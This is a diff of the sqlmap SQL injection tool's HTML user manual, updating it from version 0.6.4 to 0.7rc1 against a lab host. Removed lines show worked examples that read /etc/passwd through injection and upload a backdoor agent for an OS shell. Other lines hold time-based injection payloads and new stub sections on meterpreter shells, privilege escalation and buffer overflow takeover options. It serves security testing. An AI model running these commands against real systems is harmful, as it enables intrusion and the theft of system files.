|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
[...]
|
||||
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
|
||||
|
|
@ -1633,7 +1734,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
|
|||
[hh:mm:50] [TRAFFIC OUT] HTTP request:
|
||||
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
||||
Host: 192.168.1.121:80
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
|
||||
|
|
@ -1655,7 +1756,7 @@ Content-Type: text/html
|
|||
[hh:mm:51] [TRAFFIC OUT] HTTP request:
|
||||
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
||||
Host: 192.168.1.121:80
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
|
||||
|
|
@ -1677,7 +1778,7 @@ Content-Type: text/html
|
|||
[hh:mm:51] [TRAFFIC OUT] HTTP request:
|
||||
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
||||
Host: 192.168.1.121:80
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
|
||||
|
|
@ -1888,9 +1989,9 @@ stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'=
|
|||
|
||||
<H3>Test for time based blind SQL injection</H3>
|
||||
|
||||
<P>Option: <CODE>--time-test</CODE></P>
|
||||
<P>Options: <CODE>--time-test</CODE> and <CODE>--time-sec</CODE></P>
|
||||
|
||||
<P>It is possible to test if the target URL is affected by a <B>Time based
|
||||
<P>It is possible to test if the target URL is affected by a <B>time based
|
||||
blind SQL injection</B> vulnerability.</P>
|
||||
|
||||
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
||||
|
|
@ -1959,6 +2060,10 @@ time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';
|
|||
</CODE></BLOCKQUOTE>
|
||||
</P>
|
||||
|
||||
<P>It is also possible to set the seconds to delay the response by providing
|
||||
the <CODE>--time-sec</CODE> option followed by an integer. By default it delays
|
||||
five seconds.</P>
|
||||
|
||||
|
||||
<H3>Test for UNION query SQL injection</H3>
|
||||
|
||||
|
|
@ -2104,7 +2209,7 @@ Host: 192.168.1.121:80
|
|||
Accept-language: en-us,en;q=0.5
|
||||
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
||||
image/png,*/*;q=0.5
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
|
||||
|
|
@ -3215,7 +3320,7 @@ Table: users
|
|||
| 1 | luther | blissett |
|
||||
| 2 | fluffy | bunny |
|
||||
| 3 | wu | ming |
|
||||
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 5 | NULL | nameisnull |
|
||||
+----+----------------------------------------------+-------------------+
|
||||
</PRE>
|
||||
|
|
@ -3269,7 +3374,7 @@ Table: users
|
|||
| 1 | luther | blissett |
|
||||
| 2 | fluffy | bunny |
|
||||
| 3 | wu | ming |
|
||||
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 5 | | nameisnull |
|
||||
+----+----------------------------------------------+-------------------+
|
||||
|
||||
|
|
@ -3282,7 +3387,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
|
|||
"1","luther","blissett"
|
||||
"2","fluffy","bunny"
|
||||
"3","wu","ming"
|
||||
"4","sqlmap/0.6.4 (http://sqlmap.sourceforge.net)","user agent header"
|
||||
"4","sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)","user agent header"
|
||||
"5","","nameisnull"
|
||||
</PRE>
|
||||
</CODE></BLOCKQUOTE>
|
||||
|
|
@ -3312,7 +3417,7 @@ Table: users
|
|||
+----+----------------------------------------------+-------------------+
|
||||
| 2 | fluffy | bunny |
|
||||
| 3 | wu | ming |
|
||||
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
+----+----------------------------------------------+-------------------+
|
||||
</PRE>
|
||||
</CODE></BLOCKQUOTE>
|
||||
|
|
@ -3343,7 +3448,7 @@ Table: users
|
|||
| 1 | luther | blissett |
|
||||
| 2 | fluffy | bunny |
|
||||
| 3 | wu | ming |
|
||||
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 5 | NULL | nameisnull |
|
||||
+----+----------------------------------------------+-------------------+
|
||||
|
||||
|
|
@ -3433,7 +3538,7 @@ Table: users
|
|||
+----+----------------------------------------------+-------------------+
|
||||
| id | name | surname |
|
||||
+----+----------------------------------------------+-------------------+
|
||||
| 4 | sqlmap/0.6.4 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 4 | sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) | user agent header |
|
||||
| 2 | fluffy | bunny |
|
||||
| 1 | luther | blisset |
|
||||
| 3 | wu | ming |
|
||||
|
|
@ -3839,83 +3944,63 @@ support when the back-end DBMS is PostgreSQL.</P>
|
|||
<H2><A NAME="ss5.8">5.8</A> <A HREF="#toc5.8">File system access</A>
|
||||
</H2>
|
||||
|
||||
<H3>Read a specific file content</H3>
|
||||
<H3>Read a file from the back-end DBMS file system</H3>
|
||||
|
||||
<P>Option: <CODE>--read-file</CODE></P>
|
||||
|
||||
<P>If the back-end database management system is MySQL and the current user
|
||||
has <CODE>FILE</CODE> access (access to <CODE>LOAD_FILE()</CODE> builtin function),
|
||||
it is possible to read the content of a specific file from the file system.</P>
|
||||
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
|
||||
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
|
||||
|
||||
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
||||
<P>
|
||||
<BLOCKQUOTE><CODE>
|
||||
<PRE>
|
||||
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
|
||||
--read-file /etc/passwd -v 0
|
||||
|
||||
/etc/passwd:
|
||||
---
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||||
bin:x:2:2:bin:/bin:/bin/sh
|
||||
sys:x:3:3:sys:/dev:/bin/sh
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/bin/sh
|
||||
man:x:6:12:man:/var/cache/man:/bin/sh
|
||||
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
|
||||
mail:x:8:8:mail:/var/mail:/bin/sh
|
||||
news:x:9:9:news:/var/spool/news:/bin/sh
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
|
||||
proxy:x:13:13:proxy:/bin:/bin/sh
|
||||
www-data:x:33:33:www-data:/var/www:/bin/false
|
||||
backup:x:34:34:backup:/var/backups:/bin/sh
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
|
||||
mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
|
||||
postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
|
||||
inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
|
||||
---
|
||||
</PRE>
|
||||
</CODE></BLOCKQUOTE>
|
||||
</P>
|
||||
<H3>Write a local file on the back-end DBMS file system</H3>
|
||||
|
||||
<P>Options: <CODE>--write-file</CODE> and <CODE>--dest-file</CODE></P>
|
||||
|
||||
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
|
||||
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
|
||||
|
||||
|
||||
<H2><A NAME="ss5.9">5.9</A> <A HREF="#toc5.9">Operating system access</A>
|
||||
</H2>
|
||||
|
||||
<H3>Execute an operating system command</H3>
|
||||
|
||||
<P>Option: <CODE>--os-cmd</CODE></P>
|
||||
|
||||
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
|
||||
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
|
||||
|
||||
|
||||
<H3>Prompt for an interactive operating system shell</H3>
|
||||
|
||||
<P>Option: <CODE>--os-shell</CODE></P>
|
||||
|
||||
<P>If the back-end database management system is MySQL, the web application's
|
||||
programming language is PHP and you, or sqlmap itself, found a writable
|
||||
directory within the web server document root path, sqlmap can prompt for
|
||||
an interactive operating system shell on the back-end database management
|
||||
system.</P>
|
||||
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
|
||||
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
|
||||
|
||||
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
||||
<P>
|
||||
<BLOCKQUOTE><CODE>
|
||||
<PRE>
|
||||
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
|
||||
--os-shell -v 0
|
||||
|
||||
[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
|
||||
[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
|
||||
[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
|
||||
[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
|
||||
you want sqlmap to try to upload the agent [/var/www/test]:
|
||||
[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
|
||||
right now? [Y/n] y
|
||||
$ id
|
||||
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
$ exit
|
||||
</PRE>
|
||||
</CODE></BLOCKQUOTE>
|
||||
</P>
|
||||
<H3>Prompt for an out-of-band shell, meterpreter or VNC</H3>
|
||||
|
||||
<P>As you might notice, such operating system shell has the same
|
||||
functionalities of SQL shell in terms of TAB completion and history support.</P>
|
||||
<P>Options: <CODE>--os-pwn</CODE>, <CODE>--priv-esc</CODE>, <CODE>--msf-path</CODE> and <CODE>--tmp-path</CODE></P>
|
||||
|
||||
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
|
||||
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
|
||||
|
||||
|
||||
<H3>One click prompt for an out-of-band shell, meterpreter or VNC</H3>
|
||||
|
||||
<P>Options: <CODE>--os-smbrelay</CODE>, <CODE>--priv-esc</CODE> and <CODE>--msf-path</CODE></P>
|
||||
|
||||
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
|
||||
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
|
||||
|
||||
|
||||
<H3>Stored procedure buffer overflow exploitation</H3>
|
||||
|
||||
<P>Options: <CODE>--os-bof</CODE>, <CODE>--priv-esc</CODE> and <CODE>--msf-path</CODE></P>
|
||||
|
||||
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
|
||||
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
|
||||
|
||||
|
||||
<H2><A NAME="ss5.10">5.10</A> <A HREF="#toc5.10">Miscellaneous</A>
|
||||
|
|
@ -4032,7 +4117,7 @@ $ python sqlmap.py --update -v 4
|
|||
[hh:mm:55] [TRAFFIC OUT] HTTP request:
|
||||
GET /doc/VERSION HTTP/1.1
|
||||
Host: sqlmap.sourceforge.net
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Connection: close
|
||||
|
||||
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
|
||||
|
|
@ -4051,7 +4136,7 @@ X-Pad: avoid browser bug
|
|||
[hh:mm:56] [TRAFFIC OUT] HTTP request:
|
||||
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
|
||||
Host: www.sqlsecurity.com
|
||||
User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
|
||||
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
|
||||
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
|
||||
language=en-US
|
||||
Connection: close
|
||||
|
|
@ -4215,7 +4300,6 @@ INI file, <CODE>sqlmap-SAUbs.conf</CODE>.</P>
|
|||
<BLOCKQUOTE><CODE>
|
||||
<PRE>
|
||||
$ cat sqlmap-SAUbs.conf
|
||||
|
||||
[Target]
|
||||
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
|
||||
googledork =
|
||||
|
|
@ -4230,7 +4314,7 @@ delay = 0
|
|||
headers =
|
||||
cookie =
|
||||
proxy =
|
||||
timeout = 10
|
||||
timeout = 30
|
||||
acred =
|
||||
referer =
|
||||
data =
|
||||
|
|
@ -4238,10 +4322,11 @@ method = GET
|
|||
|
||||
[Miscellaneous]
|
||||
updateall = False
|
||||
eta = False
|
||||
verbose = 2
|
||||
batch = False
|
||||
sessionfile =
|
||||
eta = False
|
||||
batch = False
|
||||
cleanup = False
|
||||
verbose = 1
|
||||
|
||||
[Enumeration]
|
||||
dumpall = False
|
||||
|
|
@ -4267,24 +4352,33 @@ getcurrentuser = False
|
|||
getbanner = True
|
||||
|
||||
[File system]
|
||||
dfile =
|
||||
wfile =
|
||||
rfile =
|
||||
|
||||
[Takeover]
|
||||
msfpath =
|
||||
osshell = False
|
||||
ossmb = False
|
||||
privesc = False
|
||||
ospwn = False
|
||||
tmppath =
|
||||
oscmd =
|
||||
osbof = False
|
||||
|
||||
[Fingerprint]
|
||||
extensivefp = False
|
||||
|
||||
[Injection]
|
||||
estring =
|
||||
dbms =
|
||||
string =
|
||||
postfix =
|
||||
regexp =
|
||||
prefix =
|
||||
testparameter =
|
||||
regexp =
|
||||
estring =
|
||||
eregexp =
|
||||
os =
|
||||
|
||||
[Techniques]
|
||||
stackedtest = False
|
||||
|
|
@ -4362,6 +4456,14 @@ back-end DBMS: MySQL >= 5.0.0
|
|||
vulnerable parameter which is the default behaviour.</P>
|
||||
|
||||
|
||||
<H3>Clean up the DBMS by sqlmap specific UDF and tables</H3>
|
||||
|
||||
<P>Option: <CODE>--cleanup</CODE></P>
|
||||
|
||||
<P>This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
|
||||
<A HREF="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf">Advanced SQL injection to operating system full control</A> for the moment.</P>
|
||||
|
||||
|
||||
<H2><A NAME="s6">6.</A> <A HREF="#toc6">Disclaimer</A></H2>
|
||||
|
||||
<P>sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
|
|
@ -4375,18 +4477,12 @@ that such action might get you in trouble with a lot of law enforcement
|
|||
agencies.</P>
|
||||
|
||||
|
||||
<H2><A NAME="s7">7.</A> <A HREF="#toc7">Authors</A></H2>
|
||||
<H2><A NAME="s7">7.</A> <A HREF="#toc7">Author</A></H2>
|
||||
|
||||
<P>
|
||||
<UL>
|
||||
<LI>
|
||||
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A> (inquis) - project leader, core developer. PGP Key ID:
|
||||
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F">0x05F5A30F</A></LI>
|
||||
<LI>
|
||||
<A HREF="mailto:daniele.bellucci@gmail.com">Daniele Bellucci</A> (belch) - project founder, initial developer. PGP Key ID:
|
||||
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x9A0E8190">0x9A0E8190</A></LI>
|
||||
</UL>
|
||||
</P>
|
||||
<A HREF="mailto:bernardo.damele@gmail.com">Bernardo Damele A. G.</A> (inquis) - Lead developer.
|
||||
PGP Key ID:
|
||||
<A HREF="http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x05F5A30F">0x05F5A30F</A></P>
|
||||
|
||||
|
||||
</BODY>
|
||||
|
|
|
|||
Loading…
Add table
Add a link
Reference in a new issue